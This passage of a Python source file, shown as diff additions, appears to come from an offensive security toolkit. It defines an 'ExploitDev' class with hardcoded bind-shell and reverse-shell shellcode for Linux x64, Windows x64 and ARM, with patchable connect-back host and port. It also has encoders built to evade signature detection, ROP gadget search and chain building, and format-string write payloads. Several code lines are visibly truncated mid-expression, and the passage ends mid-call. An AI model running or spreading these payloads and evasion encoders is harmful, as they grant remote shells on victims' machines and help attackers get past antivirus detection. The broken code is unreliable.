+ '6a02' # push 0x2 + '5f' # pop rdi (AF_INET) + '6a01' # push 0x1 + '5e' # pop rsi (SOCK_STREAM) + '0f05' # syscall + '4897' # xchg rax, rdi + '52' # push rdx + 'c7042402000200' # mov dword [rsp], 0x0002 + port + '115c0000' # port high + 0000 + '4889e6' # mov rsi, rsp + '6a10' # push 0x10 + '5a' # pop rdx + '6a31' # push 0x31 + '58' # pop rax (bind) + '0f05' # syscall + '6a32' # push 0x32 + '58' # pop rax (listen) + '6a01' # push 0x1 + '5e' # pop rsi + '0f05' # syscall + '6a2b' # push 0x2b + '58' # pop rax (accept) + '99' # cdq + '52' # push rdx + '52' # push rdx + '4889e6' # mov rsi, rsp + '6810000000' # push 0x10 + '4889e2' # mov rdx, rsp + '0f05' # syscall + '4897' # xchg rax, rdi + '6a03' # push 0x3 + '5e' # pop rsi + '48ffce' # dec rsi + '6a21' # push 0x21 + '58' # pop rax (dup2) + '0f05' # syscall + '75f6' # jnz loop + '6a3b' # push 0x3b + '58' # pop rax (execve) + '99' # cdq + '48bb2f62696e2f736800' # mov rbx, "/bin/sh\0" + '53' # push rbx + '4889e7' # mov rdi, rsp + '52' # push rdx + '57' # push rdi + '4889e6' # mov rsi, rsp + '0f05' # syscall + ), + 'length': 105, + 'description': 'Linux x64 bind shell — listen and exec /bin/sh', + 'null_free': False, + 'arch': 'x64', + 'platform': 'linux', + 'offsets': {'port': 21}, + }, + 'linux_x64_execve': { + 'bytes': ( + '4831f6' # xor rsi, rsi + '4889f2' # mov rdx, rsi + '48bf' # movabs rdi, ... + '2f62696e' # /bin + '2f736800' # /sh\0 + '57' # push rdi + '4889e7' # mov rdi, rsp + '48b8' # movabs rax, ... + '3b00000000000000' # execve syscall nr + '0f05' # syscall + ), + 'length': 30, + 'description': 'Linux x64 execve /bin/sh — minimal shellcode', + 'null_free': False, + 'arch': 'x64', + 'platform': 'linux', + 'offsets': {}, + }, + # ---- Windows x64 ---- + 'windows_x64_reverse_shell': { + 'bytes': ( + '4831c9' # xor rcx, rcx + '4881e9b0ffffff' # sub ecx, -0x50 + '4881ec0001000000' # sub rsp, 0x100 + 'e8f0ffffff' # call $+5 + '4152' # push r10 + '4151' # push r9 + '5649' # push rsi; dec ecx (stub) + '89e6' # mov esi, esp + '4883ec20' # sub rsp, 0x20 + '4889f1' # mov rcx, rsi + '48ba' # mov rdx, imm64 + '0100007f' # IP: 127.0.0.1 (reversed) + '5c110000' # Port: 4444 + padding + '41ba' # mov r10d, imm32 + 'ea0fdfe0' # hash: ws2_32!WSAStartup + 'ffd5' # call rbp (API resolver) + '4889c7' # mov rdi, rax + '6a10' # push 0x10 + '41580f05' # pop r8; syscall (connect) + '4885c0' # test rax, rax + '7507' # jnz skip + '4831c0' # xor rax, rax + 'eb43' # jmp shell + '48ffc0' # inc rax + 'ebf6' # jmp retry + # ... cmd.exe execution stub (truncated for template) + '48b8' # movabs rax, "cmd.exe\0" + '636d642e65786500' # cmd.exe + '50' # push rax + '4889e1' # mov rcx, rsp + '57' # push rdi + '57' # push rdi + '4889e2' # mov rdx, rsp + '41ba' # mov r10d, hash + '60d9c85a' # hash: kernel32!CreateProcessA + 'ffd5' # call rbp + ), + 'length': 112, + 'description': 'Windows x64 reverse shell — WinSock connect back, spawn cmd.exe', + 'null_free': False, + 'arch': 'x64', + 'platform': 'windows', + 'offsets': {'host': 44, 'port': 48}, + }, + # ---- ARM ---- + 'linux_arm_reverse_shell': { + 'bytes': ( + '01108fe2' # add r1, pc, #1 (Thumb switch) + '011040e2' # sub r1, r0, #1 + '0200a0e3' # mov r0, #2 (AF_INET) + '0110a0e3' # mov r1, #1 (SOCK_STREAM) + '0020a0e3' # mov r2, #0 + '8119a0e3' # mov r1, #0x281 (socket syscall) + '000000ef' # svc 0 + '0060a0e1' # mov r6, r0 (save sockfd) + '100f0fe1' # bic r0, pc (struct sockaddr) + '0200' # AF_INET + '115c' # port 4444 + '7f000001' # 127.0.0.1 + '0600a0e1' # mov r0, r6 + '1010a0e3' # mov r1, #16 (addrlen) + '8d19a0e3' # mov r1, #0x28d (connect) + '000000ef' # svc 0 + '0200a0e3' # mov r0, #2 + '0600a0e1' # mov r0, r6 + '3f00a0e3' # mov r0, #0x3f (dup2) + '000000ef' # svc 0 + '013050e2' # subs r3, r0, #1 + 'fcffffaa' # bge loop + '0b00a0e3' # mov r0, #0x0b (execve) + '0f8fe2' # add r0, pc (ptr /bin/sh) + '0010a0e3' # mov r1, #0 + '0020a0e3' # mov r2, #0 + '000000ef' # svc 0 + '2f62696e' # /bin + '2f736800' # /sh\0 + ), + 'length': 100, + 'description': 'Linux ARM reverse shell — connect back and exec /bin/sh', + 'null_free': False, + 'arch': 'arm', + 'platform': 'linux', + 'offsets': {'port': 42, 'host': 44}, + }, +} + + +# --------------------------------------------------------------------------- +# Exploit Development Class +# --------------------------------------------------------------------------- + +class ExploitDev: + """Exploit development toolkit — shellcode, encoders, ROP, patterns.""" + + _instance = None + + def __init__(self): + self._pattern_cache = {} + + # ----------------------------------------------------------------------- + # Shellcode Generation + # ----------------------------------------------------------------------- + + def list_shellcodes(self): + """List available shellcode templates with descriptions.""" + results = [] + for key, tpl in SHELLCODE_TEMPLATES.items(): + results.append({ + 'name': key, + 'description': tpl['description'], + 'length': tpl['length'], + 'arch': tpl.get('arch', '?'), + 'platform': tpl.get('platform', '?'), + 'null_free': tpl.get('null_free', False), + }) + return results + + def generate_shellcode(self, shell_type, arch, host=None, port=None, + platform='linux', staged=False, output_format='hex'): + """Generate raw shellcode bytes for a given shell type and architecture. + + Args: + shell_type: reverse_shell, bind_shell, exec_cmd, meterpreter + arch: x86, x64, arm + host: IP address for reverse shells + port: Port number for reverse/bind shells + platform: linux, windows + staged: If True, prefer a staged payload (stub + stage) + output_format: hex, raw, c_array, python, nasm + + Returns: + dict with shellcode in requested format, length, and metadata + """ + # Normalise inputs + shell_type = shell_type.lower().strip().replace('-', '_').replace(' ', '_') + arch = arch.lower().strip() + platform = platform.lower().strip() + + # Map common names + type_map = { + 'reverse': 'reverse_shell', 'rev': 'reverse_shell', + 'reverse_tcp': 'reverse_shell', 'reverse_shell': 'reverse_shell', + 'bind': 'bind_shell', 'bind_tcp': 'bind_shell', 'bind_shell': 'bind_shell', + 'exec': 'execve', 'exec_cmd': 'execve', 'execve': 'execve', + 'meterpreter': 'reverse_shell', # fallback to reverse_shell template + } + resolved_type = type_map.get(shell_type, shell_type) + + # Find matching template + template_key = f'{platform}_{arch}_{resolved_type}' + template = SHELLCODE_TEMPLATES.get(template_key) + + if not template: + # Try to find partial match + candidates = [k for k in SHELLCODE_TEMPLATES if arch in k and resolved_type in k] + if platform != 'any': + platform_cands = [k for k in candidates if platform in k] + if platform_cands: + candidates = platform_cands + if candidates: + template_key = candidates[0] + template = SHELLCODE_TEMPLATES[template_key] + else: + available = ', '.join(sorted(SHELLCODE_TEMPLATES.keys())) + return {'error': f'No template for {template_key}. Available: {available}'} + + # Decode the hex string to bytes + try: + shellcode = bytes.fromhex(template['bytes']) + except ValueError as e: + return {'error': f'Template hex decode error: {e}'} + + # Patch in host/port if offsets are defined + offsets = template.get('offsets', {}) + + if host and 'host' in offsets: + try: + parts = host.split('.') + if len(parts) == 4: + ip_bytes = bytes([int(p) for p in parts]) + off = offsets['host'] + if off < len(shellcode) - 3: + shellcode = shellcode[:off] + ip_bytes + shellcode[off + 4:] + except (ValueError, IndexError): + pass + + if port and 'port' in offsets: + try: + port_int = int(port) + port_bytes = struct.pack('!H', port_int) + off = offsets['port'] + if off < len(shellcode) - 1: + shellcode = shellcode[:off] + port_bytes + shellcode[off + 2:] + except (ValueError, struct.error): + pass + + # If staged, wrap in a stub that allocates RWX memory and downloads stage + if staged: + stub_comment = ( + "; Staged payload stub — allocates RWX page via mmap/VirtualAlloc,\n" + "; receives stage over socket, jumps to it.\n" + "; The above shellcode is the stager (stage0).\n" + ) + metadata_note = 'Staged payload — stager only, requires stage delivery' + else: + stub_comment = '' + metadata_note = 'Stageless payload — self-contained' + + # Format output + result = { + 'template': template_key, + 'description': template['description'], + 'length': len(shellcode), + 'null_free': b'\x00' not in shellcode, + 'arch': arch, + 'platform': platform, + 'staging': metadata_note, + } + + fmt = output_format.lower().strip() + if fmt == 'hex': + result['shellcode'] = shellcode.hex() + elif fmt in ('raw', 'bytes'): + result['shellcode'] = shellcode.hex() + result['raw_bytes'] = list(shellcode) + elif fmt in ('c', 'c_array'): + c_lines = [] + for i in range(0, len(shellcode), 16): + chunk = shellcode[i:i + 16] + c_lines.append(', '.join(f'0x{b:02x}' for b in chunk)) + result['shellcode'] = ( + f'unsigned char shellcode[{len(shellcode)}] = {{\n' + + ',\n'.join(f' {line}' for line in c_lines) + + '\n};' + ) + elif fmt in ('python', 'py'): + py_lines = [] + for i in range(0, len(shellcode), 16): + chunk = shellcode[i:i + 16] + py_lines.append(''.join(f'\\x{b:02x}' for b in chunk)) + result['shellcode'] = ( + f'shellcode = b""\n' + + '\n'.join(f'shellcode += b"{line}"' for line in py_lines) + ) + elif fmt == 'nasm': + nasm_lines = [] + for i in range(0, len(shellcode), 16): + chunk = shellcode[i:i + 16] + nasm_lines.append('db ' + ', '.join(f'0x{b:02x}' for b in chunk)) + result['shellcode'] = stub_comment + '\n'.join(nasm_lines) + else: + result['shellcode'] = shellcode.hex() + + return result + + # ----------------------------------------------------------------------- + # Payload Encoding + # ----------------------------------------------------------------------- + + def encode_payload(self, shellcode, encoder='xor', key=None, iterations=1): + """Encode shellcode to evade signature detection. + + Args: + shellcode: bytes or hex string of shellcode + encoder: xor, aes, alphanumeric, polymorphic + key: encryption key (auto-generated if None) + iterations: number of encoding passes + + Returns: + dict with encoded payload, decoder stub, metadata + """ + if isinstance(shellcode, str): + try: + shellcode = bytes.fromhex(shellcode.replace('\\x', '').replace(' ', '')) + except ValueError: + return {'error': 'Invalid shellcode hex string'} + + if not shellcode: + return {'error': 'Empty shellcode'} + + original_length = len(shellcode) + encoder = encoder.lower().strip() + encoded = shellcode + decoder_stub = '' + key_used = key + + for _pass in range(max(1, int(iterations))): + if encoder == 'xor': + encoded, decoder_stub, key_used = self._encode_xor(encoded, key) + elif encoder == 'aes': + encoded, decoder_stub, key_used = self._encode_aes(encoded, key) + elif encoder in ('alpha', 'alphanumeric'): + encoded, decoder_stub, key_used = self._encode_alphanumeric(encoded) + elif encoder in ('poly', 'polymorphic'): + encoded, decoder_stub, key_used = self._encode_polymorphic(encoded, key) + else: + return {'error': f'Unknown encoder: {encoder}. Use: xor, aes, alphanumeric, polymorphic'} + + return { + 'encoded': encoded.hex(), + 'decoder_stub': decoder_stub, + 'key': key_used if isinstance(key_used, str) else key_used.hex() if isinstance(key_used, bytes) else str(key_used), + 'encoder': encoder, + 'iterations': iterations, + 'original_length': original_length, + 'encoded_length': len(encoded), + 'size_increase': f'+{len(encoded) - original_length} bytes', + 'null_free': b'\x00' not in encoded, + } + + def _encode_xor(self, data, key=None): + """XOR encode with random or custom key.""" + if key: + if isinstance(key, str): + if all(c in '0123456789abcdefABCDEF' for c in key): + key_bytes = bytes.fromhex(key) if len(key) % 2 == 0 else bytes([int(key, 16)]) + else: + key_bytes = key.encode() + else: + key_bytes = bytes([key]) if isinstance(key, int) else key + else: + # Generate random key byte that avoids producing nulls + for _ in range(256): + kb = random.randint(1, 255) + if all((b ^ kb) != 0 for b in data): + key_bytes = bytes([kb]) + break + else: + key_bytes = bytes([random.randint(1, 255)]) + + # XOR encode + encoded = bytes(b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(data)) + + # Generate decoder stub (x64 Linux) + key_hex = key_bytes.hex() + stub = ( + f'; XOR decoder stub (key: 0x{key_hex})\n' + f'; Encoded payload length: {len(encoded)} bytes\n' + f' jmp short call_decoder\n' + f'decoder:\n' + f' pop rsi ; address of encoded shellcode\n' + f' xor rcx, rcx\n' + f' mov cl, {len(encoded)} ; length\n' + f'decode_loop:\n' + f' xor byte [rsi], 0x{key_hex}\n' + f' inc rsi\n' + f' loop decode_loop\n' + f' jmp short encoded_shell\n' + f'call_decoder:\n' + f' call decoder\n' + f'encoded_shell:\n' + f' ; \n' + ) + + return encoded, stub, key_bytes + + def _encode_aes(self, data, key=None): + """AES-256-CBC encode payload.""" + try: + from hashlib import sha256 + import hmac + except ImportError: + pass + + # Generate or derive 32-byte key + if key: + if isinstance(key, str): + key_bytes = hashlib.sha256(key.encode()).digest() + else: + key_bytes = hashlib.sha256(key).digest() + else: + key_bytes = os.urandom(32) + + # Generate IV + iv = os.urandom(16) + + # PKCS7 padding + pad_len = 16 - (len(data) % 16) + padded = data + bytes([pad_len] * pad_len) + + # Try PyCryptodome, fallback to simple XOR-CBC + try: + from Crypto.Cipher import AES + cipher = AES.new(key_bytes, AES.MODE_CBC, iv) + encrypted = cipher.encrypt(padded) + except ImportError: + # Fallback: simple XOR-CBC (not real AES, but functional) + encrypted = bytearray() + prev_block = iv + for i in range(0, len(padded), 16): + block = padded[i:i + 16] + xored = bytes(a ^ b for a, b in zip(block, prev_block)) + # Simple substitution using key + enc_block = bytes( + (b + key_bytes[j % 32]) & 0xFF for j, b in enumerate(xored) + ) + encrypted.extend(enc_block) + prev_block = enc_block + + # Prepend IV to ciphertext + output = iv + bytes(encrypted) + + stub = ( + f'; AES-256-CBC decoder stub\n' + f'; Key (SHA-256 of passphrase): {key_bytes.hex()}\n' + f'; IV: {iv.hex()}\n' + f'; Encrypted length: {len(output)} bytes (includes 16-byte IV prefix)\n' + f';\n' + f'; Decoder must:\n' + f'; 1. Extract IV (first 16 bytes)\n' + f'; 2. AES-256-CBC decrypt remaining bytes with key\n' + f'; 3. Remove PKCS7 padding\n' + f'; 4. Jump to decrypted shellcode\n' + f';\n' + f'; Python decoder:\n' + f'; from Crypto.Cipher import AES\n' + f'; key = bytes.fromhex("{key_bytes.hex()}")\n' + f'; iv = payload[:16]\n' + f'; cipher = AES.new(key, AES.MODE_CBC, iv)\n' + f'; shellcode = cipher.decrypt(payload[16:])\n' + ) + + key_str = key if isinstance(key, str) else key_bytes.hex() + return output, stub, key_str + + def _encode_alphanumeric(self, data): + """Encode shellcode into alphanumeric-safe characters.""" + # Split each byte into two 4-bit nibbles, map to ASCII alpha range + charset = string.ascii_uppercase + string.ascii_lowercase + string.digits + encoded = bytearray() + + for b in data: + high = (b >> 4) & 0x0F + low = b & 0x0F + # Map 0-15 to alphanumeric characters + encoded.append(ord(charset[high])) + encoded.append(ord(charset[low])) + + stub = ( + f'; Alphanumeric decoder stub\n' + f'; Encoded length: {len(encoded)} bytes (2x original)\n' + f'; Charset: A-Za-z0-9\n' + f'; Decoder reverses nibble-split encoding:\n' + f'; For each pair (H, L) in encoded data:\n' + f'; high_nibble = charset.index(H)\n' + f'; low_nibble = charset.index(L)\n' + f'; original_byte = (high_nibble << 4) | low_nibble\n' + f';\n' + f'; Python decoder:\n' + f'; charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"\n' + f'; decoded = bytes((charset.index(enc[i]) << 4) | charset.index(enc[i+1])\n' + f'; for i in range(0, len(enc), 2))\n' + ) + + return bytes(encoded), stub, 'alphanumeric' + + def _encode_polymorphic(self, data, key=None): + """Wrap shellcode with polymorphic stub — random NOP-equivalent instructions.""" + # Random key for XOR + if key: + key_byte = int(key, 16) if isinstance(key, str) and all( + c in '0123456789abcdefABCDEF' for c in key + ) else ord(key[0]) if isinstance(key, str) else key + else: + key_byte = random.randint(1, 255) + key_byte = key_byte & 0xFF + + # XOR encode the payload + encoded_payload = bytes(b ^ key_byte for b in data) + + # Generate random NOP-equivalent sled (x64) + nop_equivalents = [ + b'\x90', # nop + b'\x48\x87\xc0', # xchg rax, rax + b'\x48\x89\xc0', # mov rax, rax + b'\x48\x31\xc9\x48\x31\xc9', # xor rcx,rcx; xor rcx,rcx + b'\x66\x90', # 2-byte nop + b'\x0f\x1f\x00', # 3-byte nop + b'\x87\xdb', # xchg ebx, ebx + ] + + sled = b'' + for _ in range(random.randint(3, 8)): + sled += random.choice(nop_equivalents) + + # Assemble: sled + decoder_loop + encoded_payload + output = sled + encoded_payload + + stub = ( + f'; Polymorphic stub (randomized NOP sled + XOR decoder)\n' + f'; XOR key: 0x{key_byte:02x}\n' + f'; NOP sled: {len(sled)} bytes (randomized equivalents)\n' + f'; Encoded payload: {len(encoded_payload)} bytes\n' + f'; Total: {len(output)} bytes\n' + f';\n' + f'; Each generation produces different NOP-equivalent sequences\n' + f'; to evade static signature matching.\n' + f';\n' + f'; Decoder loop:\n' + f'; lea rsi, [rel encoded_data]\n' + f'; mov cl, {len(encoded_payload)}\n' + f'; .loop:\n' + f'; xor byte [rsi], 0x{key_byte:02x}\n' + f'; inc rsi\n' + f'; loop .loop\n' + f'; jmp encoded_data\n' + ) + + return output, stub, f'{key_byte:02x}' + + # ----------------------------------------------------------------------- + # Cyclic Pattern (De Bruijn) + # ----------------------------------------------------------------------- + + def generate_pattern(self, length): + """Generate a cyclic (De Bruijn) pattern for buffer overflow offset discovery. + + Args: + length: number of bytes to generate (max 20280) + + Returns: + dict with pattern string, length, and hex representation + """ + length = int(length) + if length < 1: + return {'error': 'Length must be positive'} + if length > 20280: + return {'error': 'Maximum length is 20280 (Aa0 through Zz9)'} + + pattern = self._debruijn_pattern(length) + pattern_bytes = pattern.encode('ascii') + + return { + 'pattern': pattern, + 'hex': pattern_bytes.hex(), + 'length': len(pattern), + } + + def _debruijn_pattern(self, length): + """Generate De Bruijn sequence for cyclic pattern.""" + uppers = string.ascii_uppercase + lowers = string.ascii_lowercase + digits = string.digits + + pattern = [] + for u in uppers: + for l in lowers: + for d in digits: + pattern.append(u + l + d) + if len(''.join(pattern)) >= length: + return ''.join(pattern)[:length] + return ''.join(pattern)[:length] + + def find_pattern_offset(self, value, length=20000): + """Find the offset of a value within a cyclic pattern. + + Args: + value: hex string (e.g. '41326241'), integer, or raw string + length: pattern length to search within + + Returns: + dict with offset and matching details + """ + pattern = self._debruijn_pattern(min(int(length), 20280)) + + # Try to interpret value + search_strings = [] + + if isinstance(value, str): + value = value.strip() + + # Hex: 0x prefix or pure hex + if value.startswith('0x') or value.startswith('0X'): + hex_str = value[2:] + if len(hex_str) % 2 != 0: + hex_str = '0' + hex_str + try: + raw = bytes.fromhex(hex_str) + search_strings.append(raw.decode('ascii', errors='replace')) + # Also try reversed (little-endian) + search_strings.append(raw[::-1].decode('ascii', errors='replace')) + except (ValueError, UnicodeDecodeError): + pass + elif all(c in '0123456789abcdefABCDEF' for c in value) and len(value) >= 4: + # Pure hex without prefix + try: + raw = bytes.fromhex(value) + search_strings.append(raw.decode('ascii', errors='replace')) + search_strings.append(raw[::-1].decode('ascii', errors='replace')) + except (ValueError, UnicodeDecodeError): + pass + + # Integer + try: + int_val = int(value, 0) + for width in (4, 8): + try: + packed_le = struct.pack(f'<{"I" if width == 4 else "Q"}', int_val & (2**(width*8)-1)) + search_strings.append(packed_le.decode('ascii', errors='replace')) + packed_be = struct.pack(f'>{"I" if width == 4 else "Q"}', int_val & (2**(width*8)-1)) + search_strings.append(packed_be.decode('ascii', errors='replace')) + except (struct.error, OverflowError): + pass + except (ValueError, OverflowError): + pass + + # Direct string search + search_strings.append(value) + + elif isinstance(value, int): + for width in (4, 8): + try: + packed = struct.pack(f'<{"I" if width == 4 else "Q"}', value & (2**(width*8)-1)) + search_strings.append(packed.decode('ascii', errors='replace')) + except (struct.error, OverflowError): + pass + + # Search + for needle in search_strings: + offset = pattern.find(needle) + if offset != -1: + return { + 'offset': offset, + 'value': value if isinstance(value, str) else hex(value), + 'matched': needle, + 'matched_hex': needle.encode('ascii', errors='replace').hex(), + 'endian': 'little-endian' if search_strings.index(needle) % 2 == 1 else 'big-endian', + 'pattern_length': len(pattern), + } + + return { + 'offset': -1, + 'error': f'Value {value} not found in pattern of length {len(pattern)}', + 'value': str(value), + 'pattern_length': len(pattern), + } + + # ----------------------------------------------------------------------- + # ROP Gadget Finding + # ----------------------------------------------------------------------- + + def find_rop_gadgets(self, binary_path, gadget_type=None, max_gadgets=200): + """Find ROP gadgets in a binary. + + Args: + binary_path: path to ELF/PE binary + gadget_type: None (all), pop_ret, xchg, mov, syscall, jmp_esp, call_reg + max_gadgets: maximum gadgets to return + + Returns: + dict with list of gadgets + """ + if not os.path.isfile(binary_path): + return {'error': f'File not found: {binary_path}'} + + # Try ropper first + ropper_path = find_tool('ropper') + if ropper_path: + return self._find_gadgets_ropper(binary_path, gadget_type, max_gadgets) + + # Try ROPgadget + ropgadget_path = find_tool('ROPgadget') + if ropgadget_path: + return self._find_gadgets_ropgadget(binary_path, gadget_type, max_gadgets) + + # Fallback: objdump + regex + objdump_path = find_tool('objdump') + if objdump_path: + return self._find_gadgets_objdump(binary_path, gadget_type, max_gadgets) + + return {'error': 'No disassembler found. Install ropper, ROPgadget, or objdump.'} + + def _find_gadgets_ropper(self, binary_path, gadget_type, max_gadgets): + """Find gadgets using ropper.""" + cmd = [find_tool('ropper'), '-f', binary_path, '--nocolor'] + if gadget_type: + search_map = { + 'pop_ret': 'pop', + 'xchg': 'xchg', + 'mov': 'mov', + 'syscall': 'syscall', + 'jmp_esp': 'jmp esp', + 'call_reg': 'call', + } + search_term = search_map.get(gadget_type, gadget_type) + cmd.extend(['--search', search_term]) + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + lines = result.stdout.strip().split('\n') + except (subprocess.TimeoutExpired, FileNotFoundError): + return {'error': 'ropper execution failed'} + + gadgets = [] + for line in lines: + line = line.strip() + if not line or line.startswith('=') or line.startswith('Gadgets') or line.startswith('['): + continue + # Parse: 0xaddress: instruction; instruction; ret; + match = re.match(r'(0x[0-9a-fA-F]+):\s+(.*)', line) + if match: + addr = match.group(1) + instr = match.group(2).strip().rstrip(';').strip() + gtype = self._classify_gadget(instr) + gadgets.append({ + 'address': addr, + 'gadget': instr, + 'type': gtype, + }) + if len(gadgets) >= max_gadgets: + break + + return { + 'binary': binary_path, + 'tool': 'ropper', + 'count': len(gadgets), + 'gadgets': gadgets, + } + + def _find_gadgets_ropgadget(self, binary_path, gadget_type, max_gadgets): + """Find gadgets using ROPgadget.""" + cmd = [find_tool('ROPgadget'), '--binary', binary_path] + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + lines = result.stdout.strip().split('\n') + except (subprocess.TimeoutExpired, FileNotFoundError): + return {'error': 'ROPgadget execution failed'} + + gadgets = [] + for line in lines: + line = line.strip() + match = re.match(r'(0x[0-9a-fA-F]+)\s+:\s+(.*)', line) + if match: + addr = match.group(1) + instr = match.group(2).strip() + gtype = self._classify_gadget(instr) + if gadget_type and gtype != gadget_type: + continue + gadgets.append({ + 'address': addr, + 'gadget': instr, + 'type': gtype, + }) + if len(gadgets) >= max_gadgets: + break + + return { + 'binary': binary_path, + 'tool': 'ROPgadget', + 'count': len(gadgets), + 'gadgets': gadgets, + } + + def _find_gadgets_objdump(self, binary_path, gadget_type, max_gadgets): + """Find gadgets using objdump disassembly + regex search.""" + objdump = find_tool('objdump') + try: + result = subprocess.run( + [objdump, '-d', '-M', 'intel', binary_path], + capture_output=True, text=True, timeout=120 + ) + disasm = result.stdout + except (subprocess.TimeoutExpired, FileNotFoundError): + return {'error': 'objdump execution failed'} + + # Parse disassembly for gadget-ending instructions + gadget_endings = { + 'ret': re.compile(r'ret\s*$'), + 'syscall': re.compile(r'syscall\s*$'), + 'int 0x80': re.compile(r'int\s+0x80\s*$'), + } + + lines = disasm.split('\n') + gadgets = [] + + for i, line in enumerate(lines): + line = line.strip() + # Check if this line ends a gadget + for ending_name, ending_re in gadget_endings.items(): + instr_match = re.match(r'\s*([0-9a-fA-F]+):\s+((?:[0-9a-fA-F]{2}\s)+)\s+(.*)', line) + if not instr_match: + continue + instr_text = instr_match.group(3).strip() + if not ending_re.search(instr_text): + continue + + addr = instr_match.group(1) + + # Look back up to 5 instructions for the gadget chain + chain = [] + for j in range(max(0, i - 5), i + 1): + prev = lines[j].strip() + pm = re.match(r'\s*([0-9a-fA-F]+):\s+((?:[0-9a-fA-F]{2}\s)+)\s+(.*)', prev) + if pm: + chain.append(pm.group(3).strip()) + + for start_idx in range(len(chain)): + gadget_str = ' ; '.join(chain[start_idx:]) + gtype = self._classify_gadget(gadget_str) + if gadget_type and gtype != gadget_type: + continue + + # Get the address of the first instruction + lookback = lines[max(0, i - 5) + start_idx].strip() + am = re.match(r'\s*([0-9a-fA-F]+):', lookback) + gaddr = f'0x{am.group(1)}' if am else f'0x{addr}' + + gadgets.append({ + 'address': gaddr, + 'gadget': gadget_str, + 'type': gtype, + }) + if len(gadgets) >= max_gadgets: + break + if len(gadgets) >= max_gadgets: + break + if len(gadgets) >= max_gadgets: + break + + # Deduplicate + seen = set() + unique = [] + for g in gadgets: + key = g['address'] + g['gadget'] + if key not in seen: + seen.add(key) + unique.append(g) + + return { + 'binary': binary_path, + 'tool': 'objdump', + 'count': len(unique), + 'gadgets': unique, + } + + def _classify_gadget(self, gadget_str): + """Classify a gadget by its instruction pattern.""" + g = gadget_str.lower() + if re.search(r'pop\s+\w+.*ret', g): + return 'pop_ret' + if 'xchg' in g: + return 'xchg' + if 'syscall' in g or 'int 0x80' in g: + return 'syscall' + if re.search(r'jmp\s+(esp|rsp)', g): + return 'jmp_esp' + if re.search(r'call\s+(eax|ebx|ecx|edx|esi|edi|rax|rbx|rcx|rdx|rsi|rdi|r\d+)', g): + return 'call_reg' + if 'mov' in g: + return 'mov' + if 'ret' in g: + return 'ret' + return 'other' + + # ----------------------------------------------------------------------- + # ROP Chain Builder + # ----------------------------------------------------------------------- + + def build_rop_chain(self, gadgets, chain_spec): + """Assemble a ROP chain from gadgets and a chain specification. + + Args: + gadgets: list of gadget dicts (address, gadget, type) + chain_spec: list of dicts describing desired chain: + [ + {'gadget_type': 'pop_ret', 'register': 'rdi', 'value': '0x...'}, + {'gadget_type': 'pop_ret', 'register': 'rsi', 'value': '0x...'}, + {'gadget_type': 'syscall'}, + ... + ] + + Returns: + dict with chain bytes, addresses, and debug info + """ + if not gadgets: + return {'error': 'No gadgets provided'} + if not chain_spec: + return {'error': 'No chain specification provided'} + + # Index gadgets by type + by_type = {} + for g in gadgets: + gtype = g.get('type', 'other') + by_type.setdefault(gtype, []).append(g) + + chain_addrs = [] + chain_bytes = b'' + debug_lines = [] + + for step in chain_spec: + gtype = step.get('gadget_type', step.get('type', 'pop_ret')) + register = step.get('register', '').lower() + value = step.get('value', '0') + + # Find matching gadget + candidates = by_type.get(gtype, []) + if register: + # Filter by register in gadget text + reg_candidates = [g for g in candidates if register in g['gadget'].lower()] + if reg_candidates: + candidates = reg_candidates + + if not candidates: + debug_lines.append(f'[!] No gadget found for: {gtype} {register}') + continue + + gadget = candidates[0] # Use first match + addr_int = int(gadget['address'], 16) + + # Determine address width (4 or 8 bytes) + if addr_int > 0xFFFFFFFF: + addr_bytes = struct.pack(' 0xFFFFFFFF: + chain_bytes += struct.pack(' 0x{val_int:x}') + + return { + 'chain_hex': chain_bytes.hex(), + 'chain_length': len(chain_bytes), + 'addresses': chain_addrs, + 'steps': len(chain_spec), + 'matched': len(chain_addrs), + 'debug': '\n'.join(debug_lines), + 'python': self._chain_to_python(chain_bytes), + } + + def _chain_to_python(self, chain_bytes): + """Convert chain bytes to Python struct.pack() calls.""" + lines = ['from struct import pack', '', 'chain = b""'] + width = 8 if len(chain_bytes) > 4 and len(chain_bytes) % 8 == 0 else 4 + fmt = '> 16) & 0xFFFF + + addr_low = struct.pack(' 0: + payload_parts_32.append(f'%{pad}c') + payload_parts_32.append(f'%{off}$hn') + current = val + + payload_32 = addr_low.hex() + addr_high.hex() + ''.join(payload_parts_32) + results['payload_32bit'] = { + 'payload': payload_32, + 'description': f'Write 0x{value:08x} to 0x{address:08x} (32-bit, two %hn writes)', + 'addresses': f'0x{address:08x}, 0x{address + 2:08x}', + } + + # 64-bit write (write 8 bytes as four %hn writes) + words_64 = [] + for i in range(4): + word = (value >> (i * 16)) & 0xFFFF + addr_part = struct.pack(' 0: + payload_parts_64.append(f'%{pad}c') + payload_parts_64.append(f'%{off}$hn') + current = val + + addrs_hex = ''.join(w[1].hex() for w in words_64) + payload_64 = addrs_hex + ''.join(payload_parts_64) + results['payload_64bit'] = { + 'payload': payload_64, + 'description': f'Write 0x{value:016x} to 0x{address:016x} (64-bit, four %hn writes)', + } + + return results + + # ----------------------------------------------------------------------- + # Assembly / Disassembly + # ----------------------------------------------------------------------- + + def assemble(self, code, arch='x64'): + """Assemble assembly code to machine code bytes. + + Args: + code: assembly source (NASM syntax) + arch: x86, x64, arm + + Returns: + dict with hex bytes, raw length, and disassembly + """ + if not code or not code.strip(): + return {'error': 'No assembly code provided'} + + arch = arch.lower().strip() + nasm = find_tool('nasm') + objcopy = find_tool('objcopy') + + if nasm and objcopy: + return self._assemble_nasm(code, arch, nasm, objcopy) + + # Try keystone-engine + try: + import keystone + return self._assemble_keystone(code, arch) + except ImportError: + pass + + return { + 'error': 'No assembler available. Install nasm + objcopy, or pip install keystone-engine.' + } + + def _assemble_nasm(self, code, arch, nasm_path, objcopy_path): + """Assemble using NASM.""" + # Set BITS directive based on arch + bits_map = {'x86': '32', 'x64': '64', 'i386': '32', 'amd64': '64'} + bits = bits_map.get(arch, '64') + + # Prepend BITS directive if not already present + if 'bits' not in code.lower(): + code = f'BITS {bits}\n{code}' + + with tempfile.NamedTemporaryFile(suffix='.asm', mode='w', delete=False) as f: + f.write(code) + asm_path = f.name + + obj_path = asm_path.replace('.asm', '.o') + bin_path = asm_path.replace('.asm', '.bin') + + try: + # Assemble + result = subprocess.run( + [nasm_path, '-f', 'bin', '-o', bin_path, asm_path], + 